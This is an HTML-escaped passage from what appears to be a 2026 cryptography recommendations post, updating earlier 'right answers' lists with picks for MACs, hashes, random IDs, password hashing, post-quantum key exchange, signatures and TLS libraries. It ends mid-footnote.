&lt;p&gt;&lt;strong&gt;HMAC-SHA-256&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: HMAC.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: HMAC.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: HMAC.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: HMAC.&lt;/p&gt;
&lt;p&gt;Yay for HMAC.&lt;/p&gt;
&lt;p&gt;Just be careful to sidestep canonicalization and parser alignment bugs by always authenticating a verbatim string of bytes, not something you need to recompute.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Good:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;JSON&quot;&gt;&lt;span class=&quot;syntax-source syntax-json&quot;&gt;&lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;inner&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;{&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-json&quot;&gt;\&amp;quot;&lt;/span&gt;foo&lt;span class=&quot;syntax-constant syntax-character syntax-escape syntax-json&quot;&gt;\&amp;quot;&lt;/span&gt;:123}&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;hmac&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;MbPsZq7QGCllJgDnSSy/cyM10HjqiVu35UO7yyY5d3w=&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check the HMAC and then process or store or forward just &lt;code&gt;{&amp;quot;foo&amp;quot;:123}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Bad:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;JSON&quot;&gt;&lt;span class=&quot;syntax-source syntax-json&quot;&gt;&lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;foo&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-json&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;hmac&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-json&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;MbPsZq7QGCllJgDnSSy/cyM10HjqiVu35UO7yyY5d3w=&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-json&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can use KMAC or keyed BLAKE3 if you already had a reason to use their underlying hashes. HMAC-SHA-512 is also fine.&lt;/p&gt;
&lt;p&gt;Remember to compare tags with dedicated constant-time functions.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: rolling your own &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.trailofbits.com/2024/08/21/yolo-is-not-a-valid-hash-construction/#yolomac&quot;&gt;YoloMAC&lt;/a&gt;, encrypted hashes, standalone one-time MACs like Poly1305 or GMAC.&lt;/p&gt;
&lt;h3&gt;Hash algorithm&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;SHA-2&lt;/strong&gt; is still fine, but use a real multihash if needed.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: SHA-256 (SHA-2), plan on SHA-3.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: SHA-2.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: SHA-2.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: SHA-2.&lt;/p&gt;
&lt;p&gt;The best option, if you have it available, is still SHA-512/256, which isn’t vulnerable to length-extension attacks. Otherwise, SHA-256 and SHA-512 are both fine.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-5&quot; id=&quot;fnref-5&quot; data-footnote-ref&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;SHA-3 is unnecessary (because SHA-2 is fine) and slow,&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-6&quot; id=&quot;fnref-6&quot; data-footnote-ref&gt;6&lt;/a&gt;&lt;/sup&gt; but not &lt;em&gt;wrong&lt;/em&gt;. If you already have Keccak (SHA-3) around for ML-KEM and ML-DSA, and you want to use it for hashing, draw 32 bytes from SHAKE128.&lt;/p&gt;
&lt;p&gt;BLAKE2 is a weird choice these days. BLAKE3 is very fast, but complex and uncommon enough that you want to have a good reason to use it and a good reason to trust your implementation.&lt;/p&gt;
&lt;p&gt;Multihashing is when you need to hash multiple &lt;em&gt;things&lt;/em&gt; at once. For example, multiple columns of a row, or a filename along with the file contents. It’s subtler than it sounds, so use &lt;strong&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.trailofbits.com/2026/10/02/sequencehash-multihashing-for-the-rest-of-us/&quot;&gt;SequenceHash&lt;/a&gt;&lt;/strong&gt; with SHA-2, or TupleHash (SP 800-185) with SHA-3.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: SHA-1, MD5, all other hash functions, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.trailofbits.com/2024/08/21/yolo-is-not-a-valid-hash-construction/#yolomultihash&quot;&gt;rolling your own multihash&lt;/a&gt;, truncating to less than 256 bits unless a cryptographer told you collisions are not a concern.&lt;/p&gt;
&lt;h3&gt;Random IDs&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;32 random bytes&lt;/strong&gt;, a.k.a. 256-bit random numbers.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: 256-bit random numbers.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: 256-bit random numbers.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: 256-bit random numbers.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: 256-bit random numbers.&lt;/p&gt;
&lt;p&gt;Note that UUIDv4 and APIs like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pkg.go.dev/crypto/rand#Text&quot;&gt;rand.Text&lt;/a&gt; will give you ~128-bit values instead. That’s usually fine, unless you need more than 280 trillion (2⁴⁸) unique values. 256 bits is overkill, but why not.&lt;/p&gt;
&lt;p&gt;Use your operating system’s CSPRNG: &lt;code&gt;getrandom&lt;/code&gt; on Linux, &lt;code&gt;ProcessPrng&lt;/code&gt; on Windows, &lt;code&gt;arc4random_buf&lt;/code&gt; on macOS and BSD, &lt;code&gt;getRandomValues&lt;/code&gt; on the web. A good library will wrap these for you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: non-cryptographic PRNGs, userspace random number generators like OpenSSL’s, haveged, CPU jitter entropy.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-7&quot; id=&quot;fnref-7&quot; data-footnote-ref&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3&gt;Password handling&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Argon2id&lt;/strong&gt; or &lt;strong&gt;scrypt&lt;/strong&gt;. But have you considered &lt;strong&gt;passkeys&lt;/strong&gt; instead?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: scrypt or PBKDF2.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: scrypt, then bcrypt, then PBKDF2 if you must.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: scrypt, then Argon2, then bcrypt, then PBKDF2 if you must.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: Argon2id, then scrypt, then bcrypt, then PBKDF2 if you must.&lt;/p&gt;
&lt;p&gt;Everything my predecessors said is still spot on: “you can throw a dart at a wall to pick one of these.” I dropped bcrypt because the 72-byte truncation &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://josephscott.org/blog/2024/11/okta-bcrypt-and-52-character-usernames/&quot;&gt;bites&lt;/a&gt;. One tip: you could argue to your auditors that scrypt is FIPS 140 compliant because its actual KDF step is PBKDF2, which is what they want. I heard it works.&lt;/p&gt;
&lt;p&gt;For parameters, ignore RFC 9106 which apparently wants to murder your production system, and use &lt;code&gt;m=64 MiB, t=2, p=1&lt;/code&gt; for Argon2id (libsodium’s INTERACTIVE preset) or &lt;code&gt;N=2^16, r=8, p=1&lt;/code&gt; for scrypt. They use the same memory, but the scrypt ones will take ~1.5× the CPU time and ¼ the GPU time, which is why you should prefer Argon2id. If you’re doing non-interactive key derivation, feel free to crank up Argon2id’s &lt;em&gt;m&lt;/em&gt;, and then &lt;em&gt;t&lt;/em&gt; (or just &lt;em&gt;N&lt;/em&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-8&quot; id=&quot;fnref-8&quot; data-footnote-ref&gt;8&lt;/a&gt;&lt;/sup&gt; for scrypt) as far as tolerable.&lt;/p&gt;
&lt;p&gt;Much more importantly, do you really need passwords? If you only need them for logins, could you use phishing-proof passkeys instead? Maybe with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://rmondello.com/2025/01/02/magic-links-and-passkeys/&quot;&gt;email magic links as a fallback&lt;/a&gt;? Or just support SSO (as long as it’s OIDC and not SAML)?&lt;/p&gt;
&lt;p&gt;(Note that in 2026, passkeys are still not PQ. That’s mostly fine. They’re still phishing-proof and credential-stuffing-proof. All a quantum attacker can do is log in to a specific site if they obtain its database or intercept a login.)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: regular hashes, spending time thinking about password hashes instead of focusing on passkeys, phishable variants of email-based logins.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-9&quot; id=&quot;fnref-9&quot; data-footnote-ref&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3&gt;Key exchange&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;X25519+ML-KEM-768&lt;/strong&gt; in a secure, standard protocol.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: 2048-bit Group #14 with a generator of 2.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: Probably still DH-2048, or NaCl.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: Probably nothing. Or Curve25519.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: X25519+ML-KEM-768.&lt;/p&gt;
&lt;p&gt;The 2018 version of the Latacora answers is correct in asking “why are you as a developer thinking about this, and what does it even mean?!” Don’t roll your own key exchange protocol. Just pick X25519MLKEM768 in TLS, mlkem768x25519-sha256 in SSH, and/or MLKEM768-X25519 in HPKE and age. If you really need to obtain some keys and you know what you’re doing, both TLS and HPKE have “exporters” to derive them.&lt;/p&gt;
&lt;p&gt;Non-PQ solutions are an active, urgent liability due to harvest-now-decrypt-later attacks, and PQ alternatives range from impractical (HQC-KEM, FrodoKEM) to impractical and broken (&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://groups.google.com/a/list.nist.gov/g/pqc-forum/c/2kfyUnLObWQ&quot;&gt;Classic McEliece&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;For key exchange, using an ECC hybrid is cheap enough to be worth it, and indeed ML-KEM is usually deployed alongside ECDH. However, if picking or implementing the hybrid is going to make you stay even a single month longer on a classical, non-PQ key exchange, go straight to pure ML-KEM-768 now.&lt;/p&gt;
&lt;p&gt;P-256+ML-KEM-768 is also fine, just less common. NIST P curves got a bad rep for many years, but I think it’s 90% because they came out before we knew how to do cryptography engineering particularly well (and because of… let’s say non-&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Wikipedia:Neutral_point_of_view&quot;&gt;NPOV&lt;/a&gt; proselytizing). Almost none of the attacks against ECDH on NIST P curves even matter for ephemeral key exchanges.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: anything and everything without ML-KEM or X-Wing (a specific X25519+ML-KEM-768 combiner) in its name.&lt;/p&gt;
&lt;h3&gt;Asymmetric encryption&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;HPKE with (MLKEM768-X25519 a.k.a. X-Wing, HKDF-SHA256, AES-128-GCM)&lt;/strong&gt;, or &lt;strong&gt;age with PQ keys&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: RSAES-OAEP with SHA-256, MGF1+SHA-256, and exponent 65537.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: NaCl.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: NaCl/libsodium (box / crypto_box).&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: Tricky, wait for established PQ solutions.&lt;/p&gt;
&lt;p&gt;This is one of the most improved answers in recent years, as we now have a standard to do hybrid encryption: HPKE. (“Hybrid” as in asymmetric + symmetric, not as in classical + post-quantum, yay for overloaded names.)&lt;/p&gt;
&lt;p&gt;MLKEM768-P256 is also ok as a choice of KEM, but less available. Pure ML-KEM-768 is fine if it’s all you have. All KDF and AEAD choices are fine, as well.&lt;/p&gt;
&lt;p&gt;If your message is large, do the same chunking Cobblestone does, with multiple sequential HPKE Seal/Open calls in place of the AEAD.&lt;/p&gt;
&lt;p&gt;Note that the PQ HPKE KEMs are maddeningly still a draft.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-10&quot; id=&quot;fnref-10&quot; data-footnote-ref&gt;10&lt;/a&gt;&lt;/sup&gt; Worse, they are unnecessarily spread over four drafts, such that I had to write &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://filippo.io/hpke-pq&quot;&gt;filippo.io/hpke-pq&lt;/a&gt;. However, I made the authors solemnly swear they will not change the wire format, and then we all shipped them in our cryptographic libraries, so you can and should use them.&lt;/p&gt;
&lt;p&gt;If you need something higher-level, with multiple recipients or a CLI, use age&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-11&quot; id=&quot;fnref-11&quot; data-footnote-ref&gt;11&lt;/a&gt;&lt;/sup&gt; with its new &lt;code&gt;age1pq&lt;/code&gt;-prefixed keys, based on MLKEM768-X25519. PQ support is also rolling out for plugins like the YubiKey and the Secure Enclave ones.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: again anything not based on ML-KEM (RSA and NaCl’s box&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-12&quot; id=&quot;fnref-12&quot; data-footnote-ref&gt;12&lt;/a&gt;&lt;/sup&gt; in particular), OpenPGP, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.latacora.com/blog/2020/02/19/stop-using-encrypted-email/&quot;&gt;encrypting emails&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Asymmetric signatures&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ML-DSA-44&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: RSASSA-PSS with SHA-256, MGF1+SHA-256, and exponent 65537.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: NaCl, Ed25519, or RFC 6979.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: NaCl or Ed25519.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: Ed25519 if short-lived, otherwise Ed25519+ML-DSA-65.&lt;/p&gt;
&lt;p&gt;In January 2026, I would have told you to wait and see, and then &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/crqc-timeline/&quot;&gt;everything started moving a lot faster&lt;/a&gt;. You need to move to PQ for auth, too.&lt;/p&gt;
&lt;p&gt;Just use ML-DSA-44. If your message needs pre-hashing, use “external-μ (Mu)” signing, not HashML-DSA. Store keys as 32-byte seeds exclusively.&lt;/p&gt;
&lt;p&gt;The two PQ alternatives are FN-DSA, which is stuck somewhere in the US Department of Commerce, and SLH-DSA, which is based on hash functions. The latter can make sense for some specialist use cases, but is slow, large, and not widely available in implementations.&lt;/p&gt;
&lt;p&gt;Why not a hybrid or “composites”? Hybrid auth is &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://mailarchive.ietf.org/arch/msg/tls/CI9HgxA2UKBIyNj0xNSumH3Qogg/&quot;&gt;more complex&lt;/a&gt; and less useful than hybrid key exchange. I need to write a long-form post about this, but in short either you already have a key rotation strategy that you can use to rotate back to RSA/ECDSA/Ed25519 in the unlikely case of a cryptanalytic break, or you have such a long time horizon that you should assume quantum computers will break the classical half anyway.&lt;/p&gt;
&lt;p&gt;Also, ML-DSA is just such a better signature algorithm than its predecessors. It has hedged randomness (which is better than both random and deterministic nonces), built-in context, extra properties like SUF-CMA, and is relatively simple to implement and test.&lt;/p&gt;
&lt;p&gt;Why the -44 parameter set, when I’m recommending ML-KEM-768? Unlike ML-KEM-512 (NIST category 1), ML-DSA-44 sits at NIST category 2, with some margin above the 128-bit security level already.&lt;/p&gt;
&lt;p&gt;The one exception to the no-composites rule is SSH keys. OpenSSH 10.6 picked &lt;code&gt;ssh-mldsa44-ed25519&lt;/code&gt;. I think they &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://mailarchive.ietf.org/arch/msg/ssh/4sb0aPTWeX4KA3GgK77ns17UHrU/&quot;&gt;made a mistake&lt;/a&gt;, but it would be a mistake for you to go off the beaten path there.&lt;/p&gt;
&lt;p&gt;Note that asymmetric signatures are overused, and especially now that they are not cheap, you should try to avoid them. Consider whether you could use a simple HMAC. Maybe you can replace signed JWTs with random session tokens. If instead you do want to commit to something publicly, consider whether you should use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/transparency-dev/tessera&quot;&gt;a transparency log&lt;/a&gt;, and get a more practically useful notion of non-repudiability (and potentially smaller sizes, if you amortize the signature over multiple proofs).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: all non-PQ options like RSA/ECDSA/Ed25519, stateful signatures (LMS/XMSS), HashML-DSA, ML-DSA “&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cs.opensource.google/go/go/+/master:src/crypto/internal/fips140/mldsa/semiexpanded.go;l=13-22;drc=c888fd67f00f77446e563f90e3307de7b6b3a910&quot;&gt;semi-expanded keys&lt;/a&gt;,” composite signatures, OpenPGP.&lt;/p&gt;
&lt;h3&gt;Website or client-server application security&lt;/h3&gt;
&lt;p&gt;If you’re in the cloud, use its &lt;strong&gt;ALB/NLB&lt;/strong&gt;. Otherwise, &lt;strong&gt;rustls&lt;/strong&gt;, &lt;strong&gt;Go’s crypto/tls&lt;/strong&gt;, &lt;strong&gt;BoringSSL&lt;/strong&gt;, &lt;strong&gt;AWS-LC&lt;/strong&gt;, or &lt;strong&gt;s2n-tls&lt;/strong&gt; with a &lt;strong&gt;popular, updated ACME client&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: OpenSSL for websites, custom RSA protocol for applications.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: OpenSSL, or BoringSSL if you can. Or just AWS ELBs.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: AWS ALB/ELB or OpenSSL, with Let’s Encrypt.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: AWS ALB/ELB or OpenSSL, with Let’s Encrypt.&lt;/p&gt;
&lt;p&gt;Not recommending OpenSSL will probably be my least practical suggestion, but OpenSSL has been making consistently puzzling and problematic choices for years now. The pyca/cryptography authors, in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cryptography.io/en/latest/statements/state-of-openssl/&quot;&gt;a long post about OpenSSL’s issues&lt;/a&gt;, summarize it as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Our experience with OpenSSL has been on a negative trajectory for several years.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They even &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=RUIguklWwx0&quot;&gt;presented at the 2025 OpenSSL Conference&lt;/a&gt; (!?), apparently fruitlessly. They’re not alone in criticizing OpenSSL: here are &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cdn.haproxy.com/blog/state-of-ssl-stacks&quot;&gt;HAProxy&lt;/a&gt; from the server side, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://daniel.haxx.se/blog/2025/06/23/a-family-of-forks/&quot;&gt;curl&lt;/a&gt; from the client side.&lt;/p&gt;
&lt;p&gt;I recommend rustls or Go’s crypto/tls,&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-13&quot; id=&quot;fnref-13&quot; data-footnote-ref&gt;13&lt;/a&gt;&lt;/sup&gt; which are memory safe. If you need to stick to C, both BoringSSL and AWS-LC are very competently maintained OpenSSL forks, and the latter, unlike BoringSSL, has versioned releases. s2n-tls and rustls-ffi are interesting options if you don’t need libssl compatibility.&lt;/p&gt;
&lt;p&gt;Whatever you use, make sure it prioritizes the X25519MLKEM768 key exchange, which requires TLS 1.3. Your cloud load balancer might require you to select a PQ security policy. On RHEL 9 and derivatives, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/security_hardening/using-the-system-wide-cryptographic-policies_security-hardening#post_quantum_cryptography&quot;&gt;you need to opt in&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Previous lists split websites and client-server applications. I merged them because these days you’ll just use the same TLS stack for both. What changes is the PKI. For applications where you control both ends, consider making your own ML-DSA-44 X.509 certificates, self-signed or from a private root. For websites, wire up a &lt;em&gt;popular&lt;/em&gt;, well-supported ACME client and keep it up to date. Merkle Tree Certificates will roll out in 2027, and you want to be well positioned to be included in the transition.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avoid&lt;/em&gt;: rolling your own transport protocol, TLS libraries that failed at their core job before (GnuTLS&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-14&quot; id=&quot;fnref-14&quot; data-footnote-ref&gt;14&lt;/a&gt;&lt;/sup&gt;, Mbed TLS&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-15&quot; id=&quot;fnref-15&quot; data-footnote-ref&gt;15&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-16&quot; id=&quot;fnref-16&quot; data-footnote-ref&gt;16&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-17&quot; id=&quot;fnref-17&quot; data-footnote-ref&gt;17&lt;/a&gt;&lt;/sup&gt;, wolfSSL&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-18&quot; id=&quot;fnref-18&quot; data-footnote-ref&gt;18&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-19&quot; id=&quot;fnref-19&quot; data-footnote-ref&gt;19&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-20&quot; id=&quot;fnref-20&quot; data-footnote-ref&gt;20&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-21&quot; id=&quot;fnref-21&quot; data-footnote-ref&gt;21&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-22&quot; id=&quot;fnref-22&quot; data-footnote-ref&gt;22&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-23&quot; id=&quot;fnref-23&quot; data-footnote-ref&gt;23&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-24&quot; id=&quot;fnref-24&quot; data-footnote-ref&gt;24&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-25&quot; id=&quot;fnref-25&quot; data-footnote-ref&gt;25&lt;/a&gt;&lt;/sup&gt;, Botan&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-26&quot; id=&quot;fnref-26&quot; 